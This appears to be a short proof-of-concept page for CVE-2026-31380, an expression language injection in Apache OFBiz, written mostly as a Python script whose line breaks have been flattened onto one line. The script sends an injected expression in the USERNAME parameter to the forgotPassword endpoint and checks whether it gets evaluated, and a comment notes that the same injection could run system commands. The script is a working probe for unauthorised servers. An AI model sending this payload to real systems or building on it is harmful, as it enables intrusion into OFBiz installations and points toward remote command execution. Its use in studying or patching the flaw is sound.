CVE-2026-31380 Apache OFBiz表达式语言注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-31380 (Expression Language Injection) # This is a conceptual example demonstrating the vulnerability type. import requests def check_vulnerability(target_url): # Common endpoint for OFBiz testing (replace with actual vulnerable endpoint if known) endpoint = f"{target_url}/webtools/control/forgotPassword" # Payload attempting to execute a simple expression (e.g., string manipulation) # In a real scenario, this could be used to execute system commands via freemarker/OGNL payload = "?USERNAME=${'vulnerable'.toUpperCase()}" try: print(f"[*] Sending request to: {endpoint + payload}") response = requests.get(endpoint + payload, timeout=10) # Check if the expression was evaluated (e.g., 'VULNERABLE' appears in response) if "VULNERABLE" in response.text: print("[+] The target appears to be vulnerable to Expression Language Injection.") else: print("[-] Target does not appear vulnerable or payload was incorrect.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_vulnerability(target)